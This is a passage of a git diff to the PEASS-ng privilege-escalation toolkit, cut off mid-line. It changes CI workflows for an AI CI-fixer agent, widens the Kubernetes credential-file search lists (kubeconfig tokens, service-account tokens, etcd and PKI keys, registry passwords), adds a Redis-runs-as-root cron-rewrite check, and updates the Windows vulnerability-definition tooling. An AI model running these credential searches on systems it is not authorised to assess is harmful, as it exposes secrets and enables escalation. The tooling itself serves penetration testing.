Testing/peass-ng--PEASS-ng/.github/workflows/ci-master-failure-chack-agent-pr.yml @@ -21,7 +21,7 @@ jobs: TARGET_BRANCH: master FIX_BRANCH: chack-agent/ci-master-fix-${{ github.event.workflow_run.id }} CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }} - CAN_PUSH_WORKFLOWS: ${{ secrets.CHACK_AGENT_FIXER_TOKEN != '' }} + CAN_PUSH_WORKFLOWS: ${{ secrets.CODEX_FIXER_TOKEN != '' }} steps: - name: Checkout failing commit uses: actions/checkout@v5 @@ -29,7 +29,7 @@ jobs: ref: ${{ github.event.workflow_run.head_sha }} fetch-depth: 0 persist-credentials: true - token: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }} + token: ${{ secrets.CODEX_FIXER_TOKEN || github.token }} - name: Configure git author run: | @@ -154,7 +154,8 @@ jobs: - name: Run Chack Agent id: run_chack - uses: carlospolop/chack-agent@master + # Pin the action so dependency changes on its default branch cannot break CI repair. + uses: carlospolop/chack-agent@9fd38a0657ae7060cc9bb07329c0bde71d7ba0d9 with: provider: codex model_primary: BEST_QUALITY @@ -300,7 +301,7 @@ jobs: if: ${{ steps.push_fix.outputs.pushed == 'true' }} id: create_pr env: - GH_TOKEN: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }} + GH_TOKEN: ${{ secrets.CODEX_FIXER_TOKEN || github.token }} RUN_URL: ${{ github.event.workflow_run.html_url }} run: | set +e diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/pr-failure-chack-agent-dispatch.yml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/pr-failure-chack-agent-dispatch.yml index 8cd7894b..afde91d9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/pr-failure-chack-agent-dispatch.yml +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/pr-failure-chack-agent-dispatch.yml @@ -80,24 +80,6 @@ jobs: env: CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }} steps: - - name: Comment on PR with failure info - uses: actions/github-script@v7 - env: - PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} - RUN_URL: ${{ github.event.workflow_run.html_url }} - WORKFLOW_NAME: ${{ github.event.workflow_run.name }} - with: - github-token: ${{ github.token }} - script: | - const prNumber = Number(process.env.PR_NUMBER); - const body = `PR #${prNumber} had a failing workflow "${process.env.WORKFLOW_NAME}".\n\nRun: ${process.env.RUN_URL}\n\nLaunching Chack Agent to attempt a fix.`; - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: prNumber, - body, - }); - - name: Mark fix attempt env: PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} @@ -114,7 +96,7 @@ jobs: ref: ${{ github.event.workflow_run.head_sha }} fetch-depth: 0 persist-credentials: true - token: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }} + token: ${{ secrets.CODEX_FIXER_TOKEN || github.token }} - name: Configure git author run: | @@ -180,7 +162,8 @@ jobs: - name: Run Chack Agent id: run_chack - uses: carlospolop/chack-agent@master + # Pin the action so dependency changes on its default branch cannot break PR repair. + uses: carlospolop/chack-agent@9fd38a0657ae7060cc9bb07329c0bde71d7ba0d9 with: provider: codex model_primary: BEST_QUALITY @@ -190,6 +173,8 @@ jobs: system_prompt: | You are Chack Agent, an elite CI-fix engineer. Diagnose the failing workflow, propose the minimal safe fix, and implement it. + Do not merely describe a problem you can fix. Only leave explanatory text when you + cannot confidently repair and validate the failure or the PR should not be merged. Never edit any .md or .txt files. Don't create job or summary files of you actions. Never create or modify build_lists/regexes.yaml. Run only fast, local checks (no network). Leave the repo ready to commit. @@ -201,17 +186,17 @@ jobs: openai_api_key: ${{ secrets.OPENAI_API_KEY }} - name: Commit and push if changed + id: push_fix env: TARGET_BRANCH: ${{ needs.resolve_pr_context.outputs.head_branch }} PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} ORIGINAL_HEAD_SHA: ${{ github.event.workflow_run.head_sha }} - GH_TOKEN: ${{ github.token }} + PUSH_TOKEN: ${{ secrets.CODEX_FIXER_TOKEN }} + WORKFLOW_TOKEN: ${{ github.token }} run: | rm -f chack_failure_summary.txt chack_prompt.txt - pushed=false - - if ! git diff --quiet; then + if [ -n "$(git status --porcelain)" ]; then git add -A # Keep all fixer changes, including .github/workflows, and rely on permissioned tokens to push safely. # Only temporary tool artifacts are filtered out. @@ -247,19 +232,50 @@ jobs: exit 0 fi + if [ -z "$PUSH_TOKEN" ]; then + echo "CODEX_FIXER_TOKEN is required to push and retest Chack Agent fixes." + exit 1 + fi + if ! git push origin HEAD:${TARGET_BRANCH}; then echo "Push failed (likely token workflow permission limits); leaving run successful without push." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi - pushed=true - if [ "$pushed" = "true" ]; then - gh workflow run PR-tests.yml --ref "${TARGET_BRANCH}" + retest_url="$(GH_TOKEN="$WORKFLOW_TOKEN" gh workflow run PR-tests.yml --ref "$TARGET_BRANCH")" + retest_id="${retest_url##*/}" + echo "retest_url=$retest_url" >> "$GITHUB_OUTPUT" + + retest_conclusion="timed_out" + for attempt in $(seq 1 180); do + run_state="$(GH_TOKEN="$WORKFLOW_TOKEN" gh run view "$retest_id" --json status,conclusion --jq '[.status, (.conclusion // "")] | @tsv' 2>/dev/null || true)" + status="${run_state%%$'\t'*}" + conclusion="${run_state#*$'\t'}" + if [ "$status" = "completed" ]; then + retest_conclusion="$conclusion" + break + fi + sleep 15 + done + + echo "pushed=true" >> "$GITHUB_OUTPUT" + echo "retest_conclusion=$retest_conclusion" >> "$GITHUB_OUTPUT" + if [ "$retest_conclusion" = "success" ]; then + echo "retest_passed=true" >> "$GITHUB_OUTPUT" + else + echo "retest_passed=false" >> "$GITHUB_OUTPUT" fi - - name: Comment with Chack Agent result - if: ${{ steps.run_chack.outputs.final-message != '' }} + - name: Dispatch Chack review after a successful retest + if: ${{ steps.push_fix.outputs.retest_passed == 'true' }} + env: + GH_TOKEN: ${{ github.token }} + PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} + run: gh workflow run chack-agent-pr-triage.yml -f pr_number="$PR_NUMBER" + + - name: Comment only when Chack Agent could not produce a fix + if: ${{ steps.push_fix.outputs.pushed != 'true' && steps.run_chack.outputs.final-message != '' }} uses: actions/github-script@v7 env: PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} @@ -273,3 +289,21 @@ jobs: issue_number: Number(process.env.PR_NUMBER), body: process.env.CHACK_MESSAGE, }); + + - name: Comment when the Chack CI fix does not pass its retest + if: ${{ steps.push_fix.outputs.pushed == 'true' && steps.push_fix.outputs.retest_passed != 'true' }} + uses: actions/github-script@v7 + env: + PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} + RETEST_URL: ${{ steps.push_fix.outputs.retest_url }} + RETEST_CONCLUSION: ${{ steps.push_fix.outputs.retest_conclusion }} + with: + github-token: ${{ github.token }} + script: | + const body = `Chack Agent applied a CI fix, but its full retest finished with \`${process.env.RETEST_CONCLUSION}\`. I could not validate this fix for review or merge.\n\nRetest: ${process.env.RETEST_URL}`; + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: Number(process.env.PR_NUMBER), + body, + }); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/update_windows_version_definitions.yml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/update_windows_version_definitions.yml index 219a7178..aac23629 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/update_windows_version_definitions.yml +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/update_windows_version_definitions.yml @@ -13,7 +13,7 @@ permissions: jobs: update-definitions: runs-on: ubuntu-latest - timeout-minutes: 60 + timeout-minutes: 90 steps: - name: Checkout @@ -39,6 +39,7 @@ jobs: - name: Create validated update pull request env: GH_TOKEN: ${{ github.token }} + MERGE_TOKEN: ${{ secrets.CODEX_FIXER_TOKEN }} run: | title="chore(winpeas): update windows version vulnerability definitions" branch="bot/update-windows-version-definitions" @@ -74,5 +75,74 @@ jobs: exit 1 fi + # Run the winPEAS PR-tests build for the bot branch, wait for it, and merge on + # success. We dispatch with github.token (this workflow has `actions: write`) and + # then poll the dispatched run directly, instead of relying on a cross-workflow + # `workflow_run` trigger: runs owned by GITHUB_TOKEN do not emit `workflow_run` + # events, and the auto-created `pull_request` PR-tests run for a bot-authored PR is + # held in `action_required`. The merge itself is done with a PAT (see below). + if [ -z "$MERGE_TOKEN" ]; then + echo "CODEX_FIXER_TOKEN (MERGE_TOKEN) is required to merge the validated bot PR." + exit 1 + fi + + dispatch_ts="$(date -u +%s)" gh workflow run PR-tests.yml --ref "$branch" - echo "PR-tests dispatched for PR #$pr_number. The trusted workflow_run merge job will merge it and dispatch CI-master_test after tests pass." + echo "Dispatched PR-tests for $branch (PR #$pr_number); locating the run..." + + run_id="" + for attempt in $(seq 1 18); do + row="$(gh run list --workflow=PR-tests.yml --branch "$branch" --event workflow_dispatch \ + --limit 1 --json databaseId,createdAt --jq '.[0] | [.databaseId, .createdAt] | @tsv')" + cid="$(printf '%s' "$row" | cut -f1)" + cts_iso="$(printf '%s' "$row" | cut -f2)" + if [ -n "$cid" ]; then + cts="$(date -u -d "$cts_iso" +%s 2>/dev/null || echo 0)" + if [ "$cts" -ge "$((dispatch_ts - 60))" ]; then + run_id="$cid" + break + fi + fi + sleep 10 + done + + if [ -z "$run_id" ]; then + echo "Could not locate the dispatched PR-tests run." + exit 1 + fi + echo "Watching PR-tests run $run_id until it completes..." + + status="" + conclusion="" + for attempt in $(seq 1 70); do + status="$(gh run view "$run_id" --json status --jq .status)" + if [ "$status" = "completed" ]; then + conclusion="$(gh run view "$run_id" --json conclusion --jq .conclusion)" + break + fi + sleep 30 + done + + if [ "$conclusion" != "success" ]; then + echo "PR-tests run $run_id did not pass (status=$status conclusion=$conclusion); not merging PR #$pr_number." + exit 1 + fi + echo "PR-tests passed. Squash-merging PR #$pr_number..." + + # Merge with the PAT (not github.token) so the resulting push to master triggers + # CI-master_test -> Publish_release. A github.token-authored merge would not. + for attempt in $(seq 1 6); do + if GH_TOKEN="$MERGE_TOKEN" gh api -X PUT \ + -H "Accept: application/vnd.github+json" \ + "/repos/${{ github.repository }}/pulls/${pr_number}/merge" \ + -f merge_method=squash \ + -f commit_title="$title"; then + echo "Merged windows definitions PR #$pr_number. CI-master_test will build and publish the release." + exit 0 + fi + echo "Merge attempt $attempt failed for PR #$pr_number; retrying." + sleep 10 + done + + echo "Failed to merge PR #$pr_number after retries." + exit 1 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.gitignore b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.gitignore old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.upstream_metadata.json b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.upstream_metadata.json index e0dbd813..f7937c45 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.upstream_metadata.json +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.upstream_metadata.json @@ -1,7 +1,7 @@ { "repository": "peass-ng/PEASS-ng", "url": "https://github.com/peass-ng/PEASS-ng", - "last_updated": "2026-06-15T23:04:14.355582", + "last_updated": "2026-10-07T09:20:03.131098", "stars": "19995", "description": "PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)" } \ No newline at end of file diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/README.md index c65e4dfb..8b6eb389 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/README.md +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/README.md @@ -19,7 +19,7 @@ These tools search for possible **local privilege escalation paths** that you co - Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** - **[WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** -- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html)** +- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/main-system-information/linux-privilege-escalation-checklist.html)** - **[LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** ## Quick Start diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/download_regexes.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/download_regexes.py old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/sensitive_files.yaml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/sensitive_files.yaml index af3bb88f..ecfa1ceb 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/sensitive_files.yaml +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/sensitive_files.yaml @@ -994,92 +994,417 @@ search: - (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," files: - - name: "kubeconfig" + # Kubeconfigs contain bearer tokens, client-certificate data, exec + # credential plugins, and the endpoint used by administrators or nodes. + - name: "*kubeconfig*" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - type: f - search_in: - - common - - - name: "bootstrap-kubeconfig" + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:|impersonate" + remove_empty_lines: True + type: f + search_in: + - common + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + - name: "admin.conf" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - type: f - search_in: - - common - - - name: "kubelet-kubeconfig" + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + type: f + search_in: + - common + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + - name: "bootstrap-kubelet.conf" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - type: f - search_in: - - common - + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + type: f + search_in: + - common + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + - name: "kubelet.conf" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - type: f - search_in: - - common - - - name: "psk.txt" - value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" remove_empty_lines: True - bad_regex: ".*" type: f - search_in: + search_in: - common + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var - name: ".kube*" - value: + value: + type: d files: - name: "config" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - type: d - search_in: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + - name: "*.conf" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + search_in: - common + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + # kubeadm control planes: static-Pod manifests, component kubeconfigs, + # and the PKI / etcd credentials that bypass ordinary user RBAC. + - name: "kubernetes" + value: + type: d + files: + - name: "*.conf" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + - name: "manifests" + value: + type: d + files: + - name: "*.yaml" + value: + bad_regex: "--(advertise-address|anonymous-auth|authorization|authorization-config|audit|encryption-provider-config|service-account|client-ca-file|kubelet-client|etcd|secure-port)|hostPath:|hostNetwork:|privileged:|serviceAccountName:|image:|command:|mountPath:" + remove_empty_lines: True + - name: "*.yml" + value: + bad_regex: "--(advertise-address|anonymous-auth|authorization|authorization-config|audit|encryption-provider-config|service-account|client-ca-file|kubelet-client|etcd|secure-port)|hostPath:|hostNetwork:|privileged:|serviceAccountName:|image:|command:|mountPath:" + remove_empty_lines: True + - name: "pki" + value: + type: d + files: + - name: "*.key" + value: + just_list_file: True + - name: "*.pem" + value: + just_list_file: True + - name: "*.crt" + value: + just_list_file: True + - name: "*.key" + value: + just_list_file: True + - name: "*encryption*.yaml" + value: + bad_regex: "providers:|aescbc:|aesgcm:|secretbox:|kms:|key:|name:|endpoint:" + remove_empty_lines: True + - name: "*audit*.yaml" + value: + bad_regex: "level:|resources:|verbs:|users:|omitStages:|webhook:|path:" + remove_empty_lines: True + - name: "*webhook*.yaml" + value: + bad_regex: "server:|url:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|exec:" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + # Worker-node state: kubelet identity, bootstrap material, Pod volume + # staging paths, kube-proxy configuration, CNI, and CRI configuration. - name: "kubelet" - value: + value: + type: d files: - name: "config.yaml" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" + bad_regex: "authentication:|authorization:|anonymous:|webhook:|readOnlyPort:|tlsCertFile:|tlsPrivateKeyFile:|staticPodPath:|podPidsLimit:|featureGates:|serverTLSBootstrap:" + remove_empty_lines: True - name: "kubeadm-flags.env" value: + bad_regex: "--(bootstrap-kubeconfig|kubeconfig|config|container-runtime-endpoint|pod-infra-container-image|image-credential-provider-config|image-credential-provider-bin-dir)" remove_empty_lines: True + - name: "*.conf" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + - name: "pki" + value: + type: d + files: + - name: "*.pem" + value: + just_list_file: True + - name: "*.key" + value: + just_list_file: True + - name: "kubernetes.io~secret" + value: + type: d + files: + - name: "*" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "kubernetes.io~projected" + value: + type: d + files: + - name: "*" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "kubernetes.io~csi" + value: + type: d + files: + - name: "*" + value: + bad_regex: ".*" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + - name: "kube-proxy" + value: type: d - search_in: + files: + - name: "config.conf" + value: + bad_regex: "clientConnection:|kubeconfig:|server:|certificate-authority:|token:|mode:|metricsBindAddress:|healthzBindAddress:" + remove_empty_lines: True + - name: "kubeconfig.conf" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc - ${ROOT_FOLDER}var + + - name: "kubernetes.io" + value: + type: d + files: + - name: "serviceaccount" + value: + type: d + files: + - name: "token" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "namespace" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "ca.crt" + value: + just_list_file: True + search_in: + - ${ROOT_FOLDER}run + - ${ROOT_FOLDER}var + + - name: "net.d" + value: + type: d + files: + - name: "*.conf" + value: + bad_regex: "type|delegate|kubeconfig|token|certificate|key|endpoint|apiRoot|etcd" + remove_empty_lines: True + - name: "*.conflist" + value: + bad_regex: "type|delegate|kubeconfig|token|certificate|key|endpoint|apiRoot|etcd" + remove_empty_lines: True + search_in: - ${ROOT_FOLDER}etc - - - name: "kube-proxy" - value: + - ${ROOT_FOLDER}var + + - name: "containerd" + value: type: d - search_in: + files: + - name: "config.toml" + value: + bad_regex: "registry|auth|username|password|token|cert|key|endpoint|sandbox_image|privileged|plugins" + remove_empty_lines: True + - name: "hosts.toml" + value: + bad_regex: "server|capabilities|ca|client|skip_verify|auth" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc - ${ROOT_FOLDER}var + + - name: "crio" + value: + type: d + files: + - name: "*.conf" + value: + bad_regex: "auth|username|password|token|cert|key|registry|endpoint|pause_image|pinns_path|conmon" + remove_empty_lines: True + search_in: - ${ROOT_FOLDER}etc - - - name: "kubernetes" + - ${ROOT_FOLDER}var + + # etcd is normally local to a self-managed control plane. Database + # files and snapshots are listed, rather than decoded as text; TLS + # client keys are the credential material that grants database access. + - name: "etcd" value: + type: d files: - - name: "admin.conf" + - name: "*.key" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - - - name: "controller-manager.conf" + just_list_file: True + - name: "*.pem" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - - - name: "scheduler.conf" + just_list_file: True + - name: "*.crt" value: - bad_regex: "server:|cluster:|namespace:|user:|exec:" - + just_list_file: True + - name: "*.db" + value: + just_list_file: True + - name: "db" + value: + just_list_file: True + - name: "*.yaml" + value: + bad_regex: "listen-client-urls|listen-peer-urls|advertise-client-urls|cert-file|key-file|trusted-ca-file|client-cert-auth|auto-tls|peer-auto-tls" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + # Legacy and distribution-specific layouts that are still common in + # assessments: OpenShift / origin and k0s store the same kinds of + # kubeconfigs, tokens, PKI, and control-plane configuration. + - name: "origin" + value: type: d + files: + - name: "*.kubeconfig" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + - name: "*.key" + value: + just_list_file: True + - name: "*.pem" + value: + just_list_file: True + - name: "*.yaml" + value: + bad_regex: "token:|server:|client-certificate-data:|client-key-data:|encryption|audit|etcd|service-account|hostPath:|privileged:|oauth" + remove_empty_lines: True search_in: + - ${ROOT_FOLDER}etc - ${ROOT_FOLDER}var + + - name: "k0s" + value: + type: d + files: + - name: "*.conf" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:|tokenFile:|exec:|command:" + remove_empty_lines: True + - name: "token" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "*.key" + value: + just_list_file: True + - name: "*.pem" + value: + just_list_file: True + - name: "*.yaml" + value: + bad_regex: "token:|server:|client-certificate-data:|client-key-data:|encryption|audit|etcd|service-account|hostPath:|privileged:" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + # Common packaged distributions. Their data paths differ from kubeadm, + # but contain equivalent kubeconfigs, server credentials, and manifests. + - name: "k3s" + value: + type: d + files: + - name: "k3s.yaml" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:" + remove_empty_lines: True + - name: "token" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "*.key" + value: + just_list_file: True + - name: "*.pem" + value: + just_list_file: True + - name: "*.yaml" + value: + bad_regex: "token:|server:|client-certificate-data:|client-key-data:|encryption|audit|etcd|service-account|hostPath:|privileged:" + remove_empty_lines: True + search_in: - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + - name: "rke2" + value: + type: d + files: + - name: "rke2.yaml" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:" + remove_empty_lines: True + - name: "token" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "*.key" + value: + just_list_file: True + - name: "*.pem" + value: + just_list_file: True + - name: "*.yaml" + value: + bad_regex: "token:|server:|client-certificate-data:|client-key-data:|encryption|audit|etcd|service-account|hostPath:|privileged:" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}etc + - ${ROOT_FOLDER}var + + - name: "microk8s" + value: + type: d + files: + - name: "*.config" + value: + bad_regex: "server:|certificate-authority-data:|client-certificate-data:|client-key-data:|token:" + remove_empty_lines: True + - name: "known_tokens.csv" + value: + bad_regex: ".*" + remove_empty_lines: True + - name: "*.key" + value: + just_list_file: True + - name: "*.crt" + value: + just_list_file: True + - name: "*.yaml" + value: + bad_regex: "token:|server:|client-certificate-data:|client-key-data:|encryption|audit|etcd|service-account|hostPath:|privileged:" + remove_empty_lines: True + search_in: + - ${ROOT_FOLDER}var - name: VNC value: config: @@ -1694,7 +2019,7 @@ search: config: auto_check: True exec: - - ipa_exists="$(command -v ipa)"; if [ "$ipa_exists" ]; then print_info "https://book.hacktricks.wiki/en/linux-hardening/freeipa-pentesting.html"; fi + - ipa_exists="$(command -v ipa)"; if [ "$ipa_exists" ]; then print_info "https://book.hacktricks.wiki/en/linux-hardening/software-information/freeipa-pentesting.html"; fi files: - name: "ipa" @@ -1891,6 +2216,20 @@ search: exec: - '( redis-server --version || echo_not_found "redis-server") 2>/dev/null' - redis_info="$(if [ "$TIMEOUT" ]; then $TIMEOUT 2 redis-cli INFO 2>/dev/null; else redis-cli INFO 2>/dev/null; fi)"; if [ "$redis_info" ] && ! echo "$redis_info" | grep -i NOAUTH; then echo "Redis isn't password protected" | sed -${E} "s,.*,${SED_RED},"; fi + - >- + redis_cron_dir_response="$(if [ "$TIMEOUT" ]; then $TIMEOUT 2 redis-cli --raw CONFIG GET dir 2>/dev/null; else redis-cli --raw CONFIG GET dir 2>/dev/null; fi)"; + redis_cron_dir="$(printf "%s\n" "$redis_cron_dir_response" | tail -n 1 | tr -d '\r')"; + if [ "$redis_info" ] && [ "$redis_cron_dir" ] && ! printf "%s\n" "$redis_cron_dir_response" | grep -Eqi "NOAUTH|NOPERM|ERR|unknown command"; then + redis_cron_pid="$(printf "%s\n" "$redis_info" | sed -n 's/^process_id:\([0-9][0-9]*\)\r*$/\1/p' | head -n 1)"; + redis_cron_uid="$(ps -o uid= -p "$redis_cron_pid" 2>/dev/null | tr -d ' ')"; + echo "Redis effective UID: ${redis_cron_uid:-unknown}; persistence dir: $redis_cron_dir"; + if [ "$redis_cron_uid" = "0" ]; then + echo "Potential Redis-to-root file/cron rewrite: Redis runs as root and the current connection can query CONFIG (CONFIG SET may still be ACL-restricted; no write attempted)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + for redis_cron_path in /etc/cron.d /var/spool/cron /var/spool/cron/crontabs; do + if [ -d "$redis_cron_path" ]; then ls -ld "$redis_cron_path" 2>/dev/null; fi; + done; + fi; + fi files: - name: "redis.conf" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/test_update_windows_version_defs.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/test_update_windows_version_defs.py new file mode 100644 index 00000000..a5728666 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/test_update_windows_version_defs.py @@ -0,0 +1,31 @@ +import unittest + +from build_lists.update_windows_version_defs import RawEntry, build_definitions +from build_lists.validate_windows_version_defs import validate_entry + + +class WindowsVersionDefinitionsTests(unittest.TestCase): + def test_non_cve_advisories_do_not_break_generated_definitions(self): + def entry(identifier, kb): + return RawEntry( + cve=identifier, + kb=kb, + product="Adobe Flash Player on Windows 10 Version 1511 for 32-bit Systems", + severity="Critical", + impact="Remote Code Execution", + supersedes=("1234567",), + ) + + data = build_definitions( + [entry("ADV160008", "2345678"), entry("CVE-2016-1234", "3456789")], + {"ADV160008", "CVE-2016-1234"}, + "20261001", + ) + vulnerabilities = data["products"]["Adobe Flash Player on Windows 10 Version 1511 for 32-bit Systems"] + self.assertEqual([v["cve"] for v in vulnerabilities], ["CVE-2016-1234"]) + validate_entry("Windows", 0, vulnerabilities[0]) + self.assertEqual(data["kb_supersedes"]["2345678"], ["1234567"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/update_windows_version_defs.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/update_windows_version_defs.py index 0b73a7fe..7617a5d7 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/update_windows_version_defs.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/update_windows_version_defs.py @@ -30,6 +30,7 @@ NVD_FEED_URL_TEMPLATE = "https://nvd.nist.gov/feeds/json/cve/2.0/nvdcve-2.0-{year}.json.zip" USER_AGENT = "PEASS-ng windows_version_definitions updater" KB_PATTERN = re.compile(r"\b(\d{6,7})\b") +CVE_PATTERN = re.compile(r"CVE-\d{4}-\d{4,}") WINDOWS_TOKEN = "windows" LEGACY_PRODUCT_ALIASES: dict[str, tuple[tuple[str, ...], frozenset[str]]] = { "Microsoft Windows XP Service Pack 2": ( @@ -97,7 +98,7 @@ def parse_args() -> argparse.Namespace: description=( "Generate build_lists/windows_version_exploits.json directly from " "Microsoft Security Update Guide data, the legacy Microsoft bulletin " - "workbook, and NVD exploit references." + "workbook, Microsoft exploitation assessments, and NVD exploit references." ) ) parser.add_argument( @@ -282,6 +283,35 @@ def get_threat_value(vuln: dict[str, Any], product_id: str, target_type: str) -> return "" +def is_msrc_exploited(vuln: dict[str, Any]) -> bool: + for threat in vuln.get("Threats", []) or []: + if not threat_type_matches(threat, "1"): + continue + + description = threat.get("Description") + if isinstance(description, dict): + description = description.get("Value") + + for assessment in normalize_spaces(description).split(";"): + key, separator, value = assessment.partition(":") + if ( + separator + and key.strip().lower() == "exploited" + and value.strip().lower() == "yes" + ): + return True + + return False + + +def extract_msrc_exploited_ids_from_document(document: dict[str, Any]) -> set[str]: + return { + cve + for vuln in document.get("Vulnerability", []) or [] + if (cve := normalize_spaces(vuln.get("CVE"))) and is_msrc_exploited(vuln) + } + + def 